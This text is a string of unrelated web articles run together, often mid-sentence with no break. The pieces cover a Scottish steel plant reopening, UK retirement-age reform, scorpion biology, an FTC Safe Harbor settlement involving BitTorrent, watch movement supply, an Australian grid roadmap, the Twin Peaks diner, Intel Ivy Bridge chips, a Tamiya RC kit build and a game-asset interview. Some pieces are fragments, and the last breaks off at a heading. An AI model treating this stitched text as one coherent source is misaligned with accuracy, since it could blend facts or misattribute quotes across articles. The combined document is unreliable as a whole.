Scottish Labour's economy spokesman Richard Leonard said: "Steel is written into the DNA of communities in Lanarkshire and reopening the plant is an important first step in keeping those traditions alive.
"The next steps here are to develop and implement an effective industrial strategy to ensure that Dalzell can have a long future and provide jobs for current and future steelworkers in Scotland."
"There are also vital lessons to be learned here for the long term future. Governments should not simply sit on their hands waiting for a crisis to happen before taking action in key industries and should work to ensure the security of high skill, high quality jobs."Plan to end the so called default retirement age is outlined in a consultation document to be published today
People will be encouraged to work longer under government plans to phase out the so-called default retirement age of 65 by October 2011.
Currently employers can make staff retire at 65 regardless of their circumstances, but ministers signalled this was set to change as people were living longer, healthier lives.
The proposal to phase out the default retirement age (DRA) is outlined in a consultation document, published today, which will run until October.
However, the government said bosses will still be able to operate a compulsory retirement age if they can "objectively justify it".
The move to phase out the DRA is one of a number of measures the government is taking to help and encourage people to work for longer against the backdrop of demographic change.
Other steps include reviewing when the state pension age should increase to 66 and re-establishing the link between earnings and the basic state pension.
The business department said the consultation also proposes to help employers by removing the administrative burden of statutory retirement procedures.
A department spokesperson said: "With the DRA removed there is no reason to keep employees' right to request working beyond retirement or for employers to give them a minimum of six months notice of retirement.
"Although the government is proposing to remove the DRA, it will still be possible for individual employers to operate a compulsory retirement age, provided that they can objectively justify it. Examples could include air traffic controllers and police officers."
The plans provoked a mixed reaction. Campaigners welcomed the decision, but employers warned the removal of a default retirement age could make workforce planning more difficult.
Chris Ball, chief executive of The Age and Employment Network, called it a "win/win outcome" for employers, but warned that today's move is only a first step.
"Many employers will need to adopt a totally new mindset," Ball said. "They will need to actively plan and assist workers to be able to go on contributing to the success of their organisations.
"This may mean adapting work practices and work places. It will certainly mean providing opportunities to train or retrain and to work more flexibly, and, crucially, actually recruiting people in their 50s and 60s where they may not have done so in the past."
Rachel Krys, campaign director of anti-ageism group the Employers Forum on Age (EFA), said the default retirement age, which was created in 2006, was a "dated and unfair system".
"Its removal is simply common sense," she said. "With rising life expectancies, and people staying fitter for longer, it is archaic to assume that someone's age is an indicator of the contribution they can make to the workplace.
"Employers have nothing to fear from this change. This is an outdated policy and the removal of forced retirement is an opportunity to put policies and processes in place which make the most of an age-diverse workforce."
The Chartered Institute of Personnel and Development (CIPD), which has campaigned for many years to remove the DRA, said the "breakthrough" was "greatly encouraging".
Dianah Worman, the CIPD's diversity adviser, said: "Our research has shown that many employees wish to work past retirement for differing reasons and many employers are already benefiting from allowing such flexibility."
The Confederation of British Industry (CBI) said the proposals will give employers little time to prepare and leave them with unresolved problems. John Cridland, CBI deputy director-general, said: "Scrapping the DRA will leave a vacuum and raise a large number of complex legal and employment questions, which the government has not yet addressed. Employers and staff will not know where they stand. There will need to be more than a code of practice to address these practical issues; we will need changes in the law to deal more effectively with difficult employment situations."
David Yeandle, the Engineering Employers Federation's head of employment policy, said: "Many manufacturers will be seriously concerned about this change in policy, which will make workforce planning more difficult.
"The proposed timetable also gives employers virtually little or no time to alter their policies and practices before such an important change in employment legislation is introduced.
"There is also a real danger that it could open a Pandora's box with the onus being placed on employers to prove whether older employees are capable of continuing in their current role. Inevitably, this could lead to employment tribunal cases from some older employees who have been dismissed rather than allowed to retire."
'An artifical construct'
As a founder member of the EFA, Nationwide building society has been pushing hard for the DRA to be removed. It has allowed employees to work past retirement up to the age of 70 since 2001, once it realised many of its customers preferred to discuss their financial arrangements with older people.
In 2005 it raised that limit to 75 subject to employees passing what its HR director, John Whitehouse, describes as a "gateway test".
"As long as people want to carry on working and there aren't any problems, we're happy to let them do that," he said. "Since then I can't think of any example of us saying to staff, sorry we don't want you to carry on."
Out of an approximate 15,500 employees, Nationwide has 285 over the age of 60 working in all areas of the business. Its oldest branch manager is 60, while its oldest employee is a 76-year-old lady who works part time in its Swindon call centre.
From an employer's perspective, Whitehouse said Nationwide does have to think about issues like succession and benefits in a different way, "but they are not insurmountable things. Arguably these are things companies should be doing anyway. This artifical construct that we all must stop working at 65 is a relic of past usage. It's the stuff of the 1950s."
Today, pensions minister Steve Webb admitted that people face a "hell of a shock" when they reach retirement because of their failure to save.
In an interview with the Independent, he admitted that the basic state pension of £97 a week is "not enough to live on", and confirmed that the government would raise the state retirement age to 66 earlier than planned. He said that around 7 million people are currently not saving enough to meet their retirement aspirations.Photo Credit: Anders Olsson (via Wikimedia Commons)
We always hear that cockroaches can survive everything, even nuclear war. It turns out that scorpions can survive quite a few less than ideal environments as well. You can find them on every continent except Antarctica, and while they prefer temperatures between 68 and 99 degrees Fahrenheit (20 to 37 Celsius), they can handle a wider range. Many species do fine in extreme heat (up to 122 degrees Fahrenheit) - probably no big surprise there, since so many scorpions live in deserts. Remember that deserts can get quite cold at night, and most scorpions can also handle that with no problem. In lab experiments in the 1980s, scorpions were frozen and thawed, and most survived. Some species can even survive being underwater for two days.If the ability to handle those environments wasn't enough, scorpions can go up to a year without eating. They do this by actually slowing down their metabolisms, much like hibernating animals do. There is a difference, however. A scorpion can quickly come out of the depressed metabolic state if they need to, while a hibernating mammal needs time.It's believed that most scorpions only eat 5-50 times per year under normal circumstances. They simply don't need food more often, because their bodies use up most of the nutrients and they produce very little waste. They usually eat insects, but some species will occasionally eat small mammals or reptiles. Scorpions also eat each other! When they do get a chance to eat, they'll eat as much as possible - up to a third of their body weight - thanks to their food storage organ.BitTorrent Inc. is one of a dozen U.S.-based tech companies charged by the Federal Trade Commission with falsely claiming compliance with a treaty on European Union data-sharing. The companies, which also include ISP Level 3, all wrongly indicated current membership of the U.S.- E.U. Safe Harbor Framework, which allows U.S. companies to process European citizens' data in compliance with European law. All 12 companies have agreed to settle.
In 1998 the European Commission’s Directive on Data Protection went into effect, prohibiting the transfer of EU citizens’ data to non-EU countries unless they meet strict privacy protection standards.
In order to facilitate subsequent data-sharing between the U.S. and EU, the U.S. Department of Commerce worked with the European Commission to develop the U.S. – EU Safe Harbor Framework. By signing up to the program, U.S. organizations can send a clear signal to others in the EU that the standards mandated by the EU’s Directive on Data Protection are being met.
For U.S. organizations, signing up has several benefits. All 28 member states of the European Union accept the standard, being a signatory is a sign of commitment to privacy, approval to exchange data with the EU will be automatically granted, and legal issues raised in relation to data sharing can be heard in the United States.
After meeting the standards required by framework, organizations must self-certify every year with the Department of Commerce and state in their privacy policy statements that they adhere to the Safe Harbor Privacy Principles. Herein lies the problem.
By allowing their self-certifications to lapse, BitTorrent Inc. and another eleven companies including ISP Level 3 Communications, encrypted email company DataMotion and a trio of NFL teams, fell short of the framework’s requirements (full company list).
“Enforcement of the U.S.-EU Safe Harbor Framework is a Commission priority. These twelve cases help ensure the integrity of the Safe Harbor Framework and send the signal to companies that they cannot falsely claim participation in the program,” said FTC Chairwoman Edith Ramirez in a statement.
As can be seen by BitTorrent Inc.’s Safe Harbor entry, the company’s self-certification expired in January 2008 and still lists Ashwin Navin as the company’s president. Navin vacated that role in November 2008.
While there is no suggestion that BitTorrent Inc. or any of the other organizations involved compromised customer privacy in any way, failure to self-certify and then falsely claiming to participate in the U.S. – EU treaty is unacceptable to the U.S, particularly in light of the recent NSA scandal. With that in mind all 12 organizations have agreed to settle with the FTC by entering into “consent agreements” – BitTorrent Inc.’s can be read here (pdf).
Considering BitTorrent Inc.’s recent publicity drive on the privacy front, the charges by the FTC will come as a disappointment to the company, particularly since their error appears to have stemmed from an administrative oversight rather than actual carelessness with data.It has been announced for some time that ETA would stop supplying movements to third parties but consequences of that decision haven’t had been experienced till now.
As a result of ETA’s decision supply of their movements has become scarce and prices have had increased considerably in market.
Many movement brokers had got confirmations of supply from ETA that simply got cancelled without notice and as a result prices in 2012 for ETA movements have increased over 70% in markets managed by movement brokers.
From our contacts in industry we got information that in 2013 situation will deteriorate further and expectations are that ETA may completely stop supply of movements to third parties.
For 2012 we were able to secure ETA movements to be used in our limited editions already released and to be released this year.
However usage of ETA movements will become more and more scarce and we find it hard to release new watch models featuring ETA movements. This is true for us and for any company not part of Swatch Group.
Prometheus Watch Company has mainly two lines of watches: Swiss Made and Asian (China and Japan).
To continue with our Swiss Made Watch Collection there are alternatives in market that start to appear, mainly
Sellita – a Swiss company with its SW200, SW220 movements clones of the ETA 2824-2 and ETA 2836-2 (however Sellita production line is fully overbooked, though some movements are available via movement brokers but at random times and scarce quantities)
Soprod – a Swiss company with its A10 movement which is a movement built to replace the ETA 2892-A2 with improved specs (delivery times of over 12 months time and premium pricing)
Valanvron – a Swiss company that is a relatively newcomer to industry (established in 2010) that has in its portfolio the VAL24, VAL36 and VAL92 movements that are clones of the ETA 2824-2, ETA 2836-2 and ETA 2892-A2 movements. They base their movements in ebauches from Seagull with many components replaced in Switzerland for Swiss ones and complete assembly of movement made in Switzerland.
In Asia there are also alternatives available mainly:
Hangzhou – a Chinese company dedicated exclusively to produce mechanical movements to third parties. Their most looked for movements are the ETA 2824-2, ETA 2836-2, Unitas 6497 and 6498 clone movements.
Miyota – a Japanese company dedicated exclusively to produce mechanical movements to its group and third parties. Their most looked for movements are the Miyota 8215, 8205, 9015 movements (though it is hard to have access to their 9015 movement though some movements are available via movement brokers but at random times and scarce quantities)
Seagull – a Chinese fully integrated watch manufacturer that produces complete watches and sells to third parties multitude of mechanical movements being the most looked for its ETA 2824-2, ETA 2836-2, ETA 2892, Unitas 6497 and 6498 clone movements.
Shanghai – a Chinese fully integrated watch manufacturer that produces complete watches and sells to third parties multitude of mechanical movements being the most looked for its ETA 7750 clone movement
Time Module Seiko – a Japanese company dedicated exclusively to produce mechanical movements to its group and third parties. Their most looked for movements are the Seiko Time Module NE15 (Seiko 6R15), Seiko Time Module NH35 (Seiko 4R35) and Seiko Time Module NH36 (Seiko 4R36) movement (though it is hard to have access to their movements with lead times of around 12 months though at times available from movement brokers with scarce quantities)
To summarize we can find below a list of what we believe to be the mainstream alternatives for mechanical ETA movements (clone movements or not):
Company Model Country Availability Clone Based in Sellita SW200 Switzerland Scarce ETA 2824-2 Sellita SW220 Switzerland Scarce ETA 2836-2 Soprod A10 Switzerland Yes with 12 months lead time ETA 2892 (same size but different constructionand improved design) Valanvron VAL24 Switzerland Yes with 3 months lead time ETA 2824-2 Valanvron VAL36 Switzerland Yes with 3 months lead time ETA 2836-2 Valanvron VAL92 Switzerland Yes with 6 months lead time ETA 2892 Hangzhou 6300 China Yes with 3 months lead time ETA 2824-2 Hangzhou 6311 China Yes with 3 months lead time ETA 2836-2 Hangzhou 6460 China Yes with 3 months lead time ETA 2836-2 GMT Hangzhou 9011 China Yes with 3 months lead time Unitas 6497 Hangzhou 9310 China Yes with 3 months lead time Unitas 6498 Miyota 8215 Japan Yes with 3 months lead time Miyota 8205 Japan Yes with 3 months lead time Miyota 9015 Japan Scarce Seagull ST2130 China Yes with 3 months lead time ETA 2824-2 Seagull ST2100 China Yes with 3 months lead time ETA 2836-2 Seagull ST1812 China Yes with 6 months lead time ETA 2892 Seagull ST3600 China Yes with 3 months lead time Unitas 6497 Seagull ST3621 China Yes with 3 months lead time Unitas 6498 Shanghai 3LZF2 China Yes with 3 months lead time Valjoux 7750 Time Module Seiko NE15 Japan Yes with 12 months lead time Time Module Seiko NH35 Japan Yes with 12 months lead time Time Module Seiko NH36 Japan Yes with 12 months lead time
We can expect our future watch models to be released to be based in this list of movements.
For Swiss Made movements our strategy will be to use Soprod movements in future, use Sellita at times and to look at Valanvron that is becoming mainstream.
We think that using ETA clone movements can be a plus. This enables usage of existing tooling for watch cases and hands and at same time peace of mind for our customers as will always be easy to find replacement parts for the movements or service those as majority of clone movements have interchangeable parts with the ETA counterpart.
Although a few years ago questions would arise when using China Made movements such issues no longer exist in our opinion. We have been investigating this movements since 2008 as can be seen in this link at watchuseek watch forum where a comparison between the ETA 2824-2, Seagull ST2130 and Hangzhou 6300 has been made.
Quality of Seagull and Hangzhou movements has improved in the last four years and quality keeps increasing with time. In terms of overall quality we place Hangzhou on pair with Seagull though for many Hangzhou is less known, this due to fact that Hangzhou only produces mechanical movements not full watches.
Same for Shanghai with its 3LZF2 movement that has proved with time to be a reliable alternative to the Valjoux 7750 movement with some minor differences in terms of construction and dimensions.
We embrace this changes in the watch world with an open mind and expect that with this changes watch collectors will appreciate increase of diversity and innovations to come.A major new study by the CSIRO and the main networks lobby says a decarbonised energy grid by 2050, with half of generation produced and stored locally, will save billions in upfront capital costs and consumer bills, and deliver a secure electricity system.
(See also out story CSIRO, networks put lie to conservative campaign against wind and solar).
In a direct rebuff to the renewable energy scare campaign and myth-making being played out in the political arena, the premier scientific body and Energy Networks Australia say that wind and solar will provide nearly all our electricity needs by 2050, and the system will be cheaper for all customers.
The Electricity Network Transformation Roadmap released on Tuesday builds on the Future Grid scenarios put together by CSIRO and the ENA and others in the past two years, which mostly highlighted the massive change in our electricity system, driven by the falling costs of renewable energy and storage and a major shift to distributed generation.
This latest study, however, looks at the possible strategies that could meet those scenarios, working on the assumption that business as usual is untenable and unsustainable, and would be economically destructive, both in terms of electricity costs and other impacts.
Its outcomes that might seem extraordinary to those wedded to the idea of centralised, fossil fuel-based systems, and who argue that only coal and gas can provide cheap, reliable power. The network owners and scientists say the best way to reliable and affordable energy is through renewables and local generation – it suggests that nearly half of all generation will be local, on site in homes, business and communities.
Wind and solar will provide nearly all generation by 2050, with a significant amount – between one-third and one-half – coming from the nation’s rooftops. Battery storage in homes and business, and located on the grid, or at renewable energy installations, will balance the output and provide most network stability services.
On top of this, this scenario will save $100 billion in upfront capital costs over business as usual, and also deliver significant bill savings – of $400 or more a year for “active homes”, those with solar and storage and smart controls, and more than $600 for “passive homes”, those with no interest or no possibility to pursue such technologies.
The idea that a grid could be powered more than 90 per cent renewables, and nearly all of that by wind and solar, took even the study’s authors by surprise.
CSIRO Energy’s chief economist Paul Graham said that the team decided to look at the zero carbon by 2050 scenario suggested by the Climate Change Authority as necessary for Australia – and other countries – to meet the Paris climate goals.
“We started to look around and see how that viable would be,” Graham told RenewEconomy in an interview. “Frankly, it took a while to convince ourselves. But when we started looking at the falling cost of batteries, and the profiles of variable renewable sources, we could see that it could be done.”
Here are some of the headline numbers discussed in the report. By 2050, more than 10 million customers will own distributed resources like solar, storage, home energy management systems and electric vehicles, which they can use to sell grid support services worth $2.5 billion per year.
Rooftop solar PV will grow six-fold within a decade, and 16-fold by 2050, which is the equivalent of 80GW. Up to half of all electricity generation will be sourced “locally”, mostly on rooftops. Battery storage uptake will be significant, accounting for nearly 100GWh at the local level alone.
This will be critical in the shaping of the new grid. This battery storage will play an important role in balancing the grid and providing the network services needed, along with centralised storage, which could be from batteries, pumped hydro, solar thermal, or other.
“We think that battery storage is going to be built anyway, by the customer end,” Graham says. And that means that the grid will have to become very interactive, and smart, and need to manage this extraordinary transition.
Hence the need for urgency. It is critical for the networks. It seems that the networks can live with the idea of load defection (where consumers provide much of their own electricity needs), but the threat of grid defection is still very much alive, and a major concern.
The CSIRO and the ENA want policy makers to act in great haste before it is too late. One of the essentials is to get bipartisan support on climate policies, such as carbon pricing (good luck with that), and the other is to get cost reflective tariffs in place as soon as possible.
By these, the ENA is suggesting demand tariffs, which forces people to think carefully and consider other options at times of peak demand. It also wants a proper roll-out of smart meters, and not the ad hoc distribution that is taking place now.
ENA’s John Bradley hopes to lure those tempted by grid defection with special “stand alone power system tariffs”, that would offer a discount on grid charges, the opportunity to earn money for grid and peak demand services, and an agreement to “stand alone” at times of peak demand.
We’ve mentioned this before. One gets the feeling that there is an element of “fingers crossed” about this plan. But apart from taking a massive hit on the value of their networks, which they are clearly not prepared to do, they have no other choice.
But they warn that the impact of uncontrolled installations, and unfocused and constantly changing climate and clean energy policies will be disastrous and costly. The threat is very much alive that 10 per cent or more of consumers could leave the grid – hence the need to act soon, to offer incentives to stay.
Graham underlines the urgency. “There is a question about whether the roadmap is fast enough. On pricing reform, we were probably half way though modelling when we realised that battery prices were moving so quickly that we need to bring those reforms about five years earlier.”
Bradley speaks of $2.5 billion of payments going to consumers a year in response to “network services” – helping meet critical peak demand, responding to average peaks through demand response and demand management programs, providing security of supply with services such as frequency control.
The ENA is also taking a close look at the New York Reform the Energy Vision program, which is now emerging as a blueprint on how grids can redefine themselves, encourage consumers to take part by generating and storing their electricity, create microgrids, improve reliability, slash emissions and lower costs. What’s not to like?
To do this, the ENA wants to see more trials of the type that SAPN are doing in South Australian on using customer-based storage as an offset against grid upgrades, and of the virtual power plants and peer-to-peer trading being trialled in South Australia, Western Australia and elsewhere.
“We should allow a few of those different frameworks to emerge,” Bradley says. But there is bound to be tension between the networks and the retailers, who want to keep them out of the household market and also protect their ageing centralised generation assets.
Bradley says that if the grid retention strategy works, and rapid policy changes allows networks to evolve, then the savings are tremendous – in what the country can achieve in emissions reductions (zero in the grid by 2050), in terms of renewable penetration (more than 90 per cent by 2050, mostly wind and solar), in reliability, and in cost savings.
He sees $100 billion in overall network expenditure savings by 2050, $16 billion of avoided network infrastructure through household solar and batteries alone, and network costs falling by one-third.
This should, and must, given the technology alternatives and the social benefits of a properly priced and structured grid, translate into energy savings for consumers.
An active family with solar and storage will make $414 in annual savings in average household electricity bills (compared with the roadmap’s counterfactual, business as usual, pathway), while a medium family who cannot take up distributed energy resources is over $600 p.a. better off through removal of cross subsidies.
This is how they see it playing out for consumers on business as usual (counterfactual), and the Roadmap.The Double R Diner found an uncannily perfect setting in Twede’s Cafe — before it was Twede’s Cafe, and before Twede’s Cafe took a hiatus from being the Double R Diner.
Built in 1940, the restaurant that would become Twede’s Cafe opened to the public as Thompson’s Diner in 1941. It was taken over a decade or so later by new owners, who changed the name to the Mar-T Cafe, installed the now-iconic exterior neon sign (hence the large “Mar-T” hovering unacknowledged above the Double R’s sign), but otherwise left both the building and the decor largely unchanged.
Thus, when shooting on the original Twin Peaks series began in 1989, the Mar-T Cafe was well-equipped to serve as the noir Americana backdrop to romantic and investigatory intrigue in Lynch’s haunted mountain town. Its tobacco brown wood panelling, horseshoe lunch counter, and chrome-and-vinyl stools appeared in the series pilot as well as the later prequel film Fire Walk With Me, and served as the model for the Hollywood sound stage set where all other Double R Diner interior scenes were actually shot.
Once Twin Peaks hit the air, the Mar-T Cafe saw a major influx of business. Fans of the show flocked to the diner; pastry crews churned out pies to keep up with demand; waitresses fielded nonstop requests for “damn fine coffee” with patience and grace. By the late 1990s, however, the mania had waned, and the restaurant was sold in 1998 to Kyle Twede (pronounced “tweetie”), who renamed it — you guessed it — Twede’s Cafe.
The newly rebranded FDR-era diner would be short-lived, however, as a fire gutted the Packard Mill — sorry, I mean Twede’s Cafe, in July 2000. The fire was the result of arson. News reports from the time described the perpetrators as burglars who had set the blaze to cover their theft of $450. However, in a May 2015 interview, Kyle Twede described the arsonists as kids who had broken into the restaurant to mess around and drink wine coolers and then, fearing they would get in trouble for their actions, decided to set the place on fire (an apparent reference to a separate incident in 1997).
Whatever the case may be, the interior was completely destroyed. While the structure and the exterior neon sign remained, Twede’s Cafe reopened in 2001 with an updated interior that looked nothing like the Double R Diner. Since then, it has been proudly serving its Snoqualmie Valley patrons while also bitterly disappointing its Twin Peaks-minded visitors, journalist and civilian alike.
However, as of September 2015, the old Twede’s/Mar-T/Thompson’s Diner was back. As part of the production of the revived Twin Peaks (and on the production company’s dime), the interior of Twede’s Cafe was fully restored to the moody, campy diner of our fondest Lynchian memories. The restaurant again served as the shooting location for the Double R Diner. The renovations are permanent and stayed in place after shooting ended. So call a meeting of the Bookhouse Boys, or maybe just ask your estranged wife to help you get out of prison on work release: the Double R Diner has returned.Intel's new Ivy Bridge chips are expected Monday, promising significant improvements in speed and power usage plus built-in USB 3.0 support all wrapped in a smaller package compared to Intel's current Sandy Bridge chips.
The first wave of Ivy Bridge chips will reportedly include 13 quad-core processors designed primarily for desktops. Dual-core processors meant for Ultrabooks, such as Intel's Cove Point concept device, and other hardware will roll out "later this spring," according to a BBC report.
(See Related: PCWorld Lab Tests Ivy Bridge: Intel's Ivy Bridge Processor: Leaner and Meaner)
Tri-gate Transistors
The BBC forecast is in line with Intel announcements such as one last Wednesday that the first round of Ivy Bridge chips aren't for Ultrabooks. The new chips are also the first to use Intel's new 22-nanometer manufacturing process as opposed to Sandy Bridge's bulkier 32nm design. To give you an idea of how small 22nm,is Intel says you could fit 100 million 22-nanometer transistors on the head of a pin (about 0.05 inches in diameter).
Ivy Bridge transistors are also different from those on previous chips thanks to Intel's new tri-gate technology. Instead of cramming flat, two-dimensional transistors onto each processor, Ivy Bridge chips have 3D transistors that use a small fin rising up from the silicon surface. Intel previously said the new transistors will allow its chips to be up to 37 percent faster than previous processors. However, the BBC quotes Intel Vice President Kirk Saugen claiming the first round of Ivy Bridge chips will improve performance and power efficiency by 20 percent compared to Sandy Bridge.
Intel's hardware partners are reportedly working on more than 300 mobile products, according to Saugen, and more than 270 different desktop devices (including many all-in-ones) using Intel's Ivy Bridge microarchitecture. That may be good news for Mac,fans who are hoping to see new Ivy Bridge chips in upcoming all-in-one iMacs since the new processors may not be coming to MacBooks right away. Servers packed with Ivy Bridge-based Xeon chips are also expected before the summer. Details about upcoming Windows desktops packed with Ivy Bridge processors could come Monday or later in the week.
Intel's Ivy Bridge launch in late April comes after reports that a manufacturing delay would set the launch back to as late as June.
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Connect with Ian Paul (@ianpaul) on Twitter and Google+, and with Today@PCWorld on Twitter for the latest tech news and analysis.This week, I sit down with Emmy-nominated songwriter Andrew McMahon to chat about his new project, Andrew McMahon in the Wilderness. In high school, McMahon and friends formed Something Corporate, a piano-pop group that would go on to be at the forefront of the early 2000s pop-punk/emo scenes and release two albums for major label MCA Records: 2002’s Leaving Through the Window and 2003’s North. After SoCo dissolved, McMahon formed Jack’s Mannequin, releasing the instant classic Everything In Transit in 2005 along with two other albums.
These days, he’s a solo artist, mixing his love for classic songwriters like Billy Joel, Tom Petty and Bruce Hornsby with electronic elements to create a sound that’s retro and modern at the same time. His debut solo full-length, Andrew McMahon in the Wilderness, was released this past October through Vanguard Records. I caught up with Andrew at the 9:30 Club in Washington, DC to chat about writing songs for TV, transitioning to this new phase in his career, how he plans to celebrate Everything In Transit‘s upcoming 10-year anniversary and much more.
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Links:
Andrew McMahon’s Website | Twitter
Andrew McMahon in the Wilderness on iTunes
Voice & Verse Podcast on iTunes | Stitcher | FacebookPreparing for the build
Standard steering: Front wheels steer.
Four wheel steering: Front and rear wheels steer.
wiggle wiggle
36 * 1150 bearings
2 * 850 bearings (4 if you intend to build 4WS)
Building the kit
Adding 4WS?
Fixed rear arms Four wheel steering (4WS)
You can get shorter splitter cables:)
PS-05 : Black
PS-16 : Metallic blue
PS-48 : Semi gloss aluminium
Track test
Tamiya Konghead Video:
Overall
If you want to treat yourself to the Tamiya Konghead they are available from your local UK Tamiya Stockist. Contact
for more info.
The chassis itself is a variant of the excellent GF-01 chassis that was used in the excellent Heavy Dump truck release. That truck has become a popular release and it will be interesting to see if this Konghead can partner alongside it as a fun off roader.As with any kit you want to take a look at the manual and check you have everything at hand. The Tamiya G6-01 Konghead can be built in two configurations.All of the needed chassis parts are included in the kit, so I decided to build the kit in 4WS configuration. You will need an extra servo, and a servo splitter cable. This is the easy way to add 4WS as you simply fit the two servos into the female plugs on the splitter cable and then plug the splitter cable into the receiver.The splitter cable sends the steering input to both servos at the same time, and you get 4WS. There are other ways to do it, but this is is the easiest and cheapest.The only change I will make to the build from the kit specification is to add bearings. The kit bushings are fine and essentially indestructible, However looking in the Tamiya instruction manual it recommends that you upgrade to bearings if you run a faster motor, so whilst I will use the kit motor in the review, I will upgrade it in the future so I I ordered a set from www.RCbearings.co.uk. They can supply rubber shielded bearings for the same price as standard ones. These are great for off road RC vehicles as they are less prone to let in dirt.The G6-01 requires the following amount of bearings.The G6-01 is features a monocoque abs chassis moulded into two halves. The plastic is thick and it feels very stiff. The first part of the build is the most fiddly as you attach some chassis links inside the main chassis halves.You need to add a dollop of the included AW (Anti wear) Grease. This silver sticky gloop is used to just stop dirt getting into the chassis. I used a small screw driver to add a little onto the parts as shown in the manual.These sticky parts now need to be slid into the chassis halves from the inside. Once done you will have the inner suspension shaft and shock mounts.To stop any dirt getting into the chassis I then liberally added more AW grease on the inside to stop the dirt getting in.The lower and upper suspension arms are added onto the front halves of the chassis. The GF-06 uses the classic TL01 two-part lower arms. These have been used on a wide range of Tamiya chassis in the past and they have proven themselves to be incredibly tough. Once the two parts are attached (You need to check that the lines on the top of the arms are aligned). You then add the two 10x3mm screws to hold them together.The upper arm is a single piece affair, providing a fixed camber. You use a screw pin to attach the lower arm and a step screw for the upper arm. Just ensure that the arms move freely and that you have not over-tightened them.The differentials are next. The Konghead has 3 differentials as it is 6WD. The plastic differential cases are made from stiffened glass re-enforced plastic and are very hard wearing.The internal differential gears are made from steel and are very hard wearing
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United.
During my career, I have been working for different studios in the USA, UK and Germany, on projects like Beowulf, Monster House, Mortal Kombat, Spiderman 2, Everquest 2, X-Men and many others.
Building a business
For quite some time you’ve worked in huge big companies like Blur, Eurocom, Sony Imageworks. Why did you decide to build your own business? It must be so much harder than just going to work?
It simply was time to take the next step. With the shift of games and real-time technology becoming more important and visually appealing, it was the perfect time to put all my knowledge and skills into my own studio.
I love to develop pipelines and workflows and doing this for your own studio is just that more rewarding than doing it for someone else.
Sure it would have been a lot easier to just go to work somewhere, get a paycheck and not worry about all the business side of things. But also important was the fact that I wanted to be in charge of all aspects of production.
High-quality vegetation assets
With MAWI you’ve literally stormed the world with your high-quality vegetation assets. Can you talk a bit about why you’ve chosen this particular field, what makes it so interesting to you?
Well, to be honest, mainly because most trees in games looked like sticks with textured cards as leaves. I thought there was a desperate need for realistic trees with real trunks and roots. Over time the little side project evolved into an entire forest that included all the right details.
And I’m a huge fan of nature. Especially forests and natural landscapes. I have always been very skilled at recreating naturally looking environments in CG. Spending a lot of time outdoors with our little son and dog, walking through the forest, helps tremendously to recreate them in CG.
Challenges
For modern artists, what are the main problems with vegetation and foliage building? It seems that now with the popularity of the photogrammetry and procedural tools you can actually get this content so much faster, but why does it still present a challenge for the specialist?
I think the biggest challenge is knowing what nature really looks like. Get up from your desk and go outside into the forest. How are plants and trees growing? Why do some grow this way and some the other way? Some grow in the shades and some don’t, why?
It’s important to break down nature into patterns and modular blocks. Understand the rules and recreate those in CG. Of course, there are lots of tools that help you to get a realistic plant faster but it’s up to you to know how to put it all together.
Creating foliage is very technical. It is always heavy in terms of hardware resources and quite difficult at times to make it look real but still has it run at an acceptable framerate.
But again the most important thing is to know how to make it look natural.
Redwood Forest
You’ve got quite a lot of packs available, but most recently you’ve shared the Redwood Forest assets, which look absolutely incredible. Could you walk us a little bit through your production process and tell how you usually approach this task? Obviously, you can’t share all of it, but at least some parts of the production would be much appreciated.
The production starts with research. First I decide what pack to build and where to go for capturing references and raw data of the real assets.
I tend to do scout trips to locations of interest to just capture a few photos of possible assets and maybe some test data. Before the actual capture trip, I prep a map and a list of assets that need to be captured. Often we have to go multiple times to get everything or patch up data holes.
Most important for the capture sessions is the right weather. It can’t be raining, it can’t be sunny and can’t be to dark or windy, so perfect are overcast dry days, with enough light to get nice ambient lit objects.
The next step after capturing all the data is structuring and sorting through the material. Remove unusable images and process all the raw photos. The cleaner the source photos the better.
Next, we push all the captured photos through the photogrammetry software. I have setup a little GPU farm at the office to help with processing the massive amount of data. For example, the redwood forest capture trips ended up been 260GB useable raw photo data.
After the data has been processed and initially cleaned up, the high res mesh and raw textures get exported for further preparation and cleanup. We close data holes, fix bad shapes and scale the assets correctly. Also, a low poly retopo mesh is built and we bake the high-res normals and diffuse texture to it We also generate a height map for displacement.
Using these cooked down versions of the assets we do last tweaks in Photoshop. We remove remaining shadows/highlights and generate the different utility textures: specular occlusion, roughness, ambient occlusion, displacement, detail normals and masks.
The final step is importing the assets into UE4. Assigning instanced materials for each asset and setup all the LODs, generate collisions and set up the draw distances. We have developed a few master materials that contain the major functions to process the different input textures.
All of this is a rather fluid workflow where we go back and forth between different steps to tweak the assets until they reach the necessary quality. We keep constantly improving our pipeline and tools, most of the time doing multiple pack developments at once. If we find something useful we tend to roll it back into the other packs to keep them compatible.
Optimization
How do you optimize your content to make it run in the UE4 at a reasonable speed? What are the most efficient ways to cut down on the polycount, make the textures lighter and less unforgiving.
There are options to optimize the content or tweak the engine. We try to keep the shader complexity as low as possible, considering the high quality output, and make sure we have minimal overdraw for all the foliage.
There are different render settings in UE4 for having masked materials processed before all the heavy image passes. Which speeds up rendering of a complex forest with lots of overlapping foliage quite a bit.
We do not cut down on polycount or texture resolution that much. We try to keep it as high as possible and rather build special far distance LODs and LOD shaders that run at a lower complexity at larger distances.
Materials
How do you work on the materials? What are the best ways to build and especially use them in game scenes? How do you make the environment materials look great?
We developed master materials and special material functions that can be used for the majority of assets. This makes it easy to maintain a large number of assets and tweak them all simultaneously.
The actual structure of the materials is quite simple: BaseColor (sRGB), Specular(lin), Roughness(lin), Normal(lin), Subsurface(sRGB) and Displacement(lin). It is just important that each value used, is close to the real life PBR color value to get a consistent output under different lighting conditions.
We also make heavy use of displacement and detail maps to increase the resolution even more when you’re getting super close to the surface. We also build functions to filter details based on distance, to keep the detail and overall structure visible even when further away.
Everything else comes from carefully lighting the example scene. We use those for testing our assets and provide a free learning resource for our customers. It’s pretty much all about balancing light intensities and camera exposure correctly. Knowing a little about classic photography goes a long way too.
Procedural technologies
Could you discuss the way you’ve applied the procedural technologies? The way you’ve painted the forest in UE4 in 3 seconds really made a stir. What’s the algorithm that powers this incredible feature?
This is all based on UE4 internal foliage masking tools. You can have foliage spawn based on landscape layer information and different masks and behaviors. We have set up some rules where the different assets will be spawned, like the surface layer type, density, occlusion and if they can grow on slopes.
Some procedural functions inside the landscape materials are set up to generate the different masks, like the slopes for example. The landscape material generates the majority of the small foliage and detailed ground cover entirely automatic. The large trees and rocks use the landscapes layer information for placement when they get painted.
The cool thing is, when painting the large assets via the foliage painter, the placement is random. So each time you paint the forest it will look different, even when using the same landscape layers.
Future
